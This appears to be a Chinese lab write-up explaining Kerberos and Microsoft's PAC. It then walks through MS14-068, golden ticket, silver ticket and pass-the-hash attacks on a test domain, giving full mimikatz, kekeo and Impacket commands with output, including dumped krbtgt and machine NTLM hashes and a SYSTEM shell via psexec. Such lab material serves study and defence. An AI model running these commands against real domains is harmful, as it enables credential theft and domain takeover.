域-Kerberos

概述

Kerberos是基于对称密码学或者公钥密码的,需要受信赖第三方的,可在非安全网络下通信的,支持客户端和服务端互相认证的计算机网络认证协议。

特点:可避免网络实体免受窃听和重复攻击。

协议术语

  • AS(Authentication Server)= 认证服务器
  • KDC(Key Distribution Center)= 密钥分发中心
  • TGT(Ticket Granting Ticket)= 票据授权票据,票据的票据
  • TGS(Ticket Granting Server)= 票据授权服务器
  • SS(Service Server)= 特定服务提供端
  • KDC密钥 = 在Windows环境中为krbtgt账户的NT-Hash

过程概述

简单地说,用户先用共享密钥从某认证服务器得到一个身份证明。随后,用户使用这个身份证明与SS通信,而不使用共享密钥。

具体步骤

1. 客户端登录(客户端自身)

  • 用户输入明文账号和密码到客户端
  • 客户端将密码通过HASH转换成 “用户密钥”

2. 客户端认证(Client从AS获取TGT)

  • Client向AS发送1条明文 “我(ID)向请求某项服务”
  • AS检查该ID是否存在本地数据库,如果存在返回消息:
    • 消息A:Client/TGS会话密钥(用Client的“用户密钥”加密)
    • 消息B:TGT(Client/TGS会话密钥;用户ID;用户地址;TGT有效期)(用KDC密钥加密)
  • Client用自己的“用户密钥”解密 ‘消息A’ 得到 Client/TGS会话密钥

3. 服务授权(Client从TGS获取“client-to-server”票据)

  • Client向TGS发送要申请的服务:
    • 消息C:消息B + 想获得服务的服务ID
    • 消息D:认证符(用户ID,时间戳)(用Client/TGS会话密钥加密)
  • TGS检查KDC是否有所需的服务,用自己的KDC密钥解密消息B(TGT),得到Client/TGS会话密钥,再用这个解密消息D得到用户ID和时间戳(认证符),对TGT和认证符验证通过后返回:
    • 消息E:client-to-server票据(Client/SS会话密钥;用户ID;用户地址;有效期)(用该服务的服务器密钥加密)
    • 消息F:Client/SS会话密钥(用Client/TGS会话密钥加密)
  • Client用Client/TGS会话密钥解密消息F,得到Client/SS会话密钥

4. 服务请求(Client从SS获得服务)

  • Client向SS发送:
    • 消息E
    • 消息G:新的认证符号(用户ID,时间戳)(用Client/SS会话密钥加密)
  • SS用自己的密钥解密消息E,得到TGS提供的Client/SS会话密钥,再用这个解密消息G,得到认证符,对client-to-server和认证符验证从后返回一条消息(确认身后,可以服务)
    • (可选,用于client认证SS) 消息H:新时间戳(client发送时间加1)(用Client/SS会话密钥加密)
  • Client通过Client/SS会话密钥解密消息H,验证服务器(可选),并发送服务请求
  • SS向Client提供相应服务

Windows下的Kerberos

示意图

img

img

img

微软扩展的PAC

0. 提要:LSA

LSA(Local Security Authority) 本地安全机构。

LSA管理本地的安全策略、管理审计策略和设置、为用户生成包含SID和组权限关系的令牌。

LSA的验证过程:LSA通过访问本地SAM(Security Accounts Manager)数据库,可以完成本地用户的验证。

LSA在收到Winlogon的交给他的身份凭证后,按需交给Kerberos协议,或者NTLM协议。

LSA的处理流程

  1. LSA首先会把身份凭据交给SSPI,由该接口负责与Kerberos和NTLM服务沟通。
  2. SSPI不能确定用户是本地登录还是域账户进行域登录。所以他会先把身份认证请求传递到Kerberos SSP。
  3. Kerberos SSP会验证用户的登入目标是本地计算机还是域。如果是登录域,Kerberos SSP将继续处理。如果是本地计算机,即用户不是登录域,Kerberos SSP返回一个错误消息到SSPI,交回给GINA处理,使服务器登录不可用。
  4. SSPI现在发送请求到下一个安全提供程序——NTLM。NTLM SSP会将请求交给Netlogon服务针对LSAM (Local Security Account Manager,本地安全账户管理器)数据库进行身份认证。使用NTLM SSP的身份认证过程与Windows NT系统的身份认证方法是相同的。

1. 概述

PAC(PrivilegeAttribute Certificate),特权属性证书。

KDC在向Kerberos客户端颁发TGT时,会向本地LSA请求生成一个特殊的数据结构,名为特权访问证书。这个PAC包含为kerberos客户端构建一个本地访问令牌所需要的用户信息,它同时使用域控制器服务器的私钥和KDC服务器的私钥来进行数字签署,以防假的KDC伪造PAC

用于向Server证明Client是否有访问Server相关网络资源的权限(Kerberos协议中并没有规定权限问题)

2. 扩展后的TGT

img

3. 扩展后的流程图

img

4. MS14-068漏洞利用点

  • AS_REQ过程①中:微软特意增加了一个include-PAC标志,通常情况下,AS_REQ请求中如果该标志被设置为true,只要AS服务对Client-A通过认证,那么会在返回的AS_REP数据包中的TGT中加入PAC信息;而如果在AS_REQ请求时,include-PAC标志被设置为false,那么AS_REP返回的TGT中就不会包含PAC信息。
  • TGS_REQ过程③中:
    • 在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。
    • 本来PAC应该是放在TGT中的,但是PAC可以不放在TGT中,而是放在TGS_REQ数据包的其它地方。KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。(放在TGT中的话需要KDC的密钥加密)

于是,我们可以构造PAC的SID为高权限的SID来提权。

实验

环境 (域控没有KB3011780补丁)

1562739791392

  1. 域内X102主机test102.test1.org用户通过dir访问域控共享文件为拒接访问

    1
    2
    C:\Users\test102>dir \\x101.test1.org\c$
    拒绝访问。
  2. 得到域用户SID

    1
    2
    3
    4
    5
    6
    7
    8
    C:\Users\test102>whoami /all

    用户信息
    ----------------

    用户名 SID
    ============= =============================================
    test1\test102 S-1-5-21-2683411558-2895222460-22023098-1105
  3. 执行MS14-068.exe

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    C:\Users\test102\Desktop>MS14-068.exe -u test102@test1.org -p qwe1533? -s S-1-5-21-2683411558-2895222460-22023098-1105 -d x101.test1.org
    [+] Building AS-REQ for test1.org... Done!
    [+] Sending AS-REQ to test1.org... Done!
    [+] Receiving AS-REP from test1.org... Done!
    [+] Parsing AS-REP from test1.org... Done!
    [+] Building TGS-REQ for test1.org... Done!
    [+] Sending TGS-REQ to test1.org... Done!
    [+] Receiving TGS-REP from test1.org... Done!
    [+] Parsing TGS-REP from test1.org... Done!
    [+] Creating ccache file 'TGT_test102@test1.org.ccache'... Done!
  4. 执行目录下有ccache文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    C:\Users\test102\Desktop>dir
    驱动器 C 中的卷没有标签。
    卷的序列号是 5613-B8CF

    C:\Users\test102\Desktop 的目录

    2019/07/10 15:30 <DIR> .
    2019/07/10 15:30 <DIR> ..
    2019/03/06 19:14 3,492,558 MS14-068.exe
    2019/07/10 15:30 1,092 TGT_test102@test1.org.ccache
    2 个文件 3,493,650 字节
    2 个目录 27,316,051,968 可用字节
  5. 使用mimikatz导入生成的ccache文件(导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    mimikatz # kerberos::ptc C:\Users\test102\Desktop\TGT_test102@test1.org.ccache

    Principal : (01) : test102 ; @ TEST1.ORG

    Data 0
    Start/End/MaxRenew: 2019/7/10 15:30:46 ; 2019/7/11 1:30:46 ; 2019/7/17 15:30:46
    Service Name (01) : krbtgt ; TEST1.ORG ; @ TEST1.ORG
    Target Name (01) : krbtgt ; TEST1.ORG ; @ TEST1.ORG
    Client Name (01) : test102 ; @ TEST1.ORG
    Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
    Session Key : 0x00000017 - rc4_hmac_nt
    75f2fcb3193855e7e1b3c2b87dea6814
    Ticket : 0x00000000 - null ; kvno = 2 [...]
    * Injecting ticket : OK
  6. 失败

    1
    2
    C:\Users\test102\Desktop>dir \\x101.test1.org\c$
    登录失败: 未知的用户名或错误密码。
  7. 使用Impacket套件,提示‘seems not vulnerable’ ,Windows Server 2012 R2 未打补丁

    1
    2
    3
    4
    5
    6
    7
    8
    9
    C:\Users\test102\Desktop>goldenPac.exe test1.org/test102:qwe1533?@x101.test1.org
    Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

    [*] User SID: S-1-5-21-2683411558-2895222460-22023098-1105
    [*] Forest SID: S-1-5-21-2683411558-2895222460-22023098
    [*] Attacking domain controller x101.test1.org
    [*] x101.test1.org seems not vulnerable (Kerberos SessionError: KRB_ERR_GENERIC(Generic error (description i
    n e-text))
    NT ERROR: STATUS_INSUFFICIENT_RESOURCES(Insufficient system resources exist to complete the API.))

Windows下Kerberos滥用

增加的术语

  • 委托人(principal)= 是一个具有唯一标识的实体,可以是一台计算机或一项服务,通过使用KDC颁发的票据来进行通信。

    用户通过如“user@REALM”格式的用户主体名称(User Principal Name,简称UPN)来标识。

  • 服务主体名称(Service Principal Name,简称SPN)= 是用于域中的服务和计算机账户。

    SPN的格式形如“serviceclass/host_port/serviceName”。例如, 主机“dc1.bhusa.com”上LDAP服务的SPN可能类似于“ldap/dc1.bhusa.com”, “ldap/dc1”和“ldap/dc1.bhusa.com/bhusa.com”。参考全限定主机名和仅主机名,一个服务可能注册为多个SPN。

Golden Ticket(黄金票据/万能票据)

1. 是什么

Golden Ticket 是通过伪造高权限的TGT(Ticket Granting Ticket),来发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

2. 条件

  • 域名称
  • 域的SID值
  • 域的KRBTGT账户密码HASH
  • 伪造用户名,可以是任意的

3. 实验

  1. 金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的lsadump::dcsync /domain:test1.org /user:krbtgt命令获取krbtgt的值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    mimikatz(commandline) # lsadump::dcsync /domain:test1.org /user:krbtgt
    [DC] 'test1.org' will be the domain
    [DC] 'x101.test1.org' will be the DC server
    [DC] 'krbtgt' will be the user account

    Object RDN : krbtgt

    ** SAM ACCOUNT **

    SAM Username : krbtgt
    Account Type : 30000000 ( USER_OBJECT )
    User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
    Account expiration :
    Password last change : 2019/7/11 9:51:13
    Object Security ID : S-1-5-21-2683411558-2895222460-22023098-502
    Object Relative ID : 502

    Credentials:
    Hash NTLM: b3dc5a6ce286c676c9e0f9acaf229174
    ntlm- 0: b3dc5a6ce286c676c9e0f9acaf229174
    lm - 0: fdc97f7d10f82100fd5bfb38cde044d3
  1. 使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。

    1
    2
    3
    4
    5
    /admin:administrator
    /domain:test1.org
    /sid:S-1-5-21-2683411558-2895222460-22023098 (krbtgt的sid去掉最后面-)
    /krbtgt:b3dc5a6ce286c676c9e0f9acaf229174 (krbtgt的HASH)
    /ticket:golden.kiribi(票据名称)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    mimikatz # kerberos::golden /admin:administrator /domain:test1.org /sid:S-1-5-21-2683411558-2895222460-2
    2023098 /krbtgt:b3dc5a6ce286c676c9e0f9acaf229174 /ticket:golden.kiribi
    User : administrator
    Domain : test1.org (TEST1)
    SID : S-1-5-21-2683411558-2895222460-22023098
    User Id : 500
    Groups Id : *513 512 520 518 519
    ServiceKey: b3dc5a6ce286c676c9e0f9acaf229174 - rc4_hmac_nt
    Lifetime : 2019/7/11 10:40:02 ; 2029/7/8 10:40:02 ; 2029/7/8 10:40:02
    -> Ticket : golden.kiribi

    * PAC generated
    * PAC signed
    * EncTicketPart generated
    * EncTicketPart encrypted
    * KrbCred generated

    Final Ticket Saved to file !
  2. 使用金票。用mimikatz的kerberos::ptt golden.kiribi 将golden.kiribi导入内存中。

    1
    2
    3
    4
    C:\Users\test102\Desktop>mimikatz.exe "kerberos::ptt golden.kiribi"
    mimikatz(commandline) # kerberos::ptt golden.kiribi

    * File: 'golden.kiribi': OK
  3. 此时可以dir访问域控的共享文件夹或者执行PsExec。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    C:\Users\test102\Desktop\mimikatz_trunk\x64>PsExec.exe \\x101.test1.org cmd.exe

    PsExec v2.2 - Execute processes remotely
    Copyright (C) 2001-2016 Mark Russinovich
    Sysinternals - www.sysinternals.com


    Microsoft Windows [版本 6.3.9600]
    (c) 2013 Microsoft Corporation。保留所有权利。

    C:\Windows\system32>whoami
    test1\administrator
  4. 该票据20分钟有效,过期可再次导入,可以伪造任意用户。

Silver Tickets(白银票据)

1. 是什么

Silver Tickets 就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。

2. 条件

  • 域名称
  • 域的SID值
  • 域的服务账户的密码HASH(不是krbtgt,是域控)
  • 伪造的用户名,可以是任意用户名,这里是silver

3. 实验

  1. 通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是DC$的HASH。privilege::debug sekurlsa::logonpasswords

    下方得到Administrator的SID主要值S-1-5-21-2683411558-2895222460-22023098

    1
    2
    3
    4
    5
    6
    7
    8
    9
    mimikatz # sekurlsa::logonPasswords

    Authentication Id : 0 ; 222146 (00000000:000363c2)
    Session : Interactive from 1
    User Name : Administrator
    Domain : TEST1
    Logon Server : X101
    Logon Time : 2019/7/11 10:50:08
    SID : S-1-5-21-2683411558-2895222460-22023098-500

    下方得到X101$的NTLM为09fec6c8a17403b7aa8a706debdde568

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    Authentication Id : 0 ; 996 (00000000:000003e4)
    Session : Service from 0
    User Name : X101$
    Domain : TEST1
    Logon Server : (null)
    Logon Time : 2019/7/11 10:48:19
    SID : S-1-5-20
    msv :
    [00000003] Primary
    * Username : X101$
    * Domain : TEST1
    * NTLM : 09fec6c8a17403b7aa8a706debdde568
    * SHA1 : 2b5e75a603962f00cd4185dde76e4e4f732fa52f
    tspkg :
    wdigest :
    * Username : X101$
    * Domain : TEST1
    * Password : (null)
    kerberos :
    * Username : x101$
    * Domain : test1.org
  2. 使用mimikatz中的kerberos::golden功能生成银票silver.kiribi,即为伪造成功的ST。

    1
    2
    3
    4
    5
    6
    7
    /domain:test1.org  //当前域名称
    /sid:S-1-5-21-2683411558-2895222460-22023098 //SID值,和金票一样取前面一部分
    /target:x101.test1.org //目标主机
    /service:cifs //服务名称,这里需要访问共享文件,所以是cifs
    /rc4:09fec6c8a17403b7aa8a706debdde568 //目标主机的HASH值
    /user:silver //伪造的用户名
    /ptt:表示的是Pass The Ticket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    mimikatz # kerberos::golden /domain:test1.org  /sid:S-1-5-21-2683411558-2895222460-22023098 /target:x10
    1.test1.org /service:cifs /rc4:09fec6c8a17403b7aa8a706debdde568 /user:silver /ptt
    User : silver
    Domain : test1.org (TEST1)
    SID : S-1-5-21-2683411558-2895222460-22023098
    User Id : 500
    Groups Id : *513 512 520 518 519
    ServiceKey: 09fec6c8a17403b7aa8a706debdde568 - rc4_hmac_nt
    Service : cifs
    Target : x101.test1.org
    Lifetime : 2019/7/11 11:11:45 ; 2029/7/8 11:11:45 ; 2029/7/8 11:11:45
    -> Ticket : ** Pass The Ticket **

    * PAC generated
    * PAC signed
    * EncTicketPart generated
    * EncTicketPart encrypted
    * KrbCred generated

    Golden ticket for 'silver @ test1.org' successfully submitted for current session
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    C:\Users\test102\Desktop>dir \\x101\c$
    驱驱动动器器 \\x101\c$ 中中的的卷卷没没有有标标签签。。
    卷卷的的序序列列号号是是 1245-85B4

    \\x101\c$ 的的目目录录

    2013/08/22 23:52 <DIR> PerfLogs
    2019/07/11 09:23 <DIR> Program Files
    2013/08/22 23:39 <DIR> Program Files (x86)
    2019/07/11 09:53 <DIR> Users
    2019/07/11 10:44 <DIR> Windows
    0 个个文文件件 0 字字节节
    5 个个目目录录 32,756,371,456 可可用用字字节节

HASH传递

1. 是什么

Path-The-Hash 攻击使攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

2. 基本概念

  • 在Windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
  • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
  • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

3. 实验

  1. 获得到了Administrator等用户的NTLM: e22ec03d34a71596b1eee0cb11b043d8

  2. mimikatz的pth功能需要本地管理员权限,使用kekeo下tgt模块 (通过Kerberos)

    1
    kekeo "tgt::ask /user:Administrator /domain:test1.org /ntlm:e22ec03d34a71596b1eee0cb11b043d8"

    会生成:`TGT_administrator@TEST1.ORG_krbtgt~test1.org@TEST1.ORG.kirbi`文件

  3. 再将其导入缓存

    1
    kekeo "kerberos::ptt TGT_administrator@TEST1.ORG_krbtgt~test1.org@TEST1.ORG.kirbi"
  4. 此时就有权限了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    C:\Users\test102\Desktop\Python27>dir \\x101.test1.org\c$
    驱动器 \\x101.test1.org\c$ 中的卷没有标签。
    卷的序列号是 1245-85B4

    \\x101.test1.org\c$ 的目录

    2013/08/22 23:52 <DIR> PerfLogs
    2019/07/11 09:23 <DIR> Program Files
    2013/08/22 23:39 <DIR> Program Files (x86)
    2019/07/11 09:53 <DIR> Users
    2019/07/11 10:44 <DIR> Windows
    0 个文件 4,096 字节
    5 个目录 32,754,302,976 可用字节
  5. 也可以使用Impacket工具包执行远程命令(通过SMB协议)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    C:\Users\test102\Desktop>psexec.exe -hashes 000:e22ec03d34a71596b1eee0cb11b043d8
    administrator@172.16.11.1 cmd.exe
    Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

    [*] Requesting shares on 172.16.11.1.....
    [*] Found writable share ADMIN$
    [*] Uploading file TMHEtvvY.exe
    [*] Opening SVCManager on 172.16.11.1.....
    [*] Creating service hodP on 172.16.11.1.....
    [*] Starting service hodP.....
    [!] Press help for extra shell commands



    C:\Windows\system32>whoami
    nt authority\system

Reference:

[深入解读MS14-068漏洞:微软精心策划的后门?]https://www.freebuf.com/vuls/56081.html
[敞开的地狱之门:Kerberos协议的滥用]https://www.freebuf.com/articles/system/45631.html
[Kerberos协议探索系列之扫描与爆破篇]https://www.anquanke.com/post/id/171552
[Kerberos协议探索系列之票据篇]https://www.anquanke.com/post/id/172900
[Kerberos协议探索系列之委派篇]https://www.anquanke.com/post/id/173477
[九种姿势运行Mimikatz]https://www.freebuf.com/articles/web/176796.html
[刨根问底:Hash传递攻击原理探究]https://www.freebuf.com/articles/terminal/80186.html
[Mimikatz 非官方指南和命令参考]https://adsecurity.org/?page_id=1821 (http://drops.xmd5.com/static/drops/pentesting-12521.html)
[域渗透-Pass-The-Hash的实现]https://3gstudent.github.io/3gstudent.github.io/域渗透-Pass-The-Hash的实现/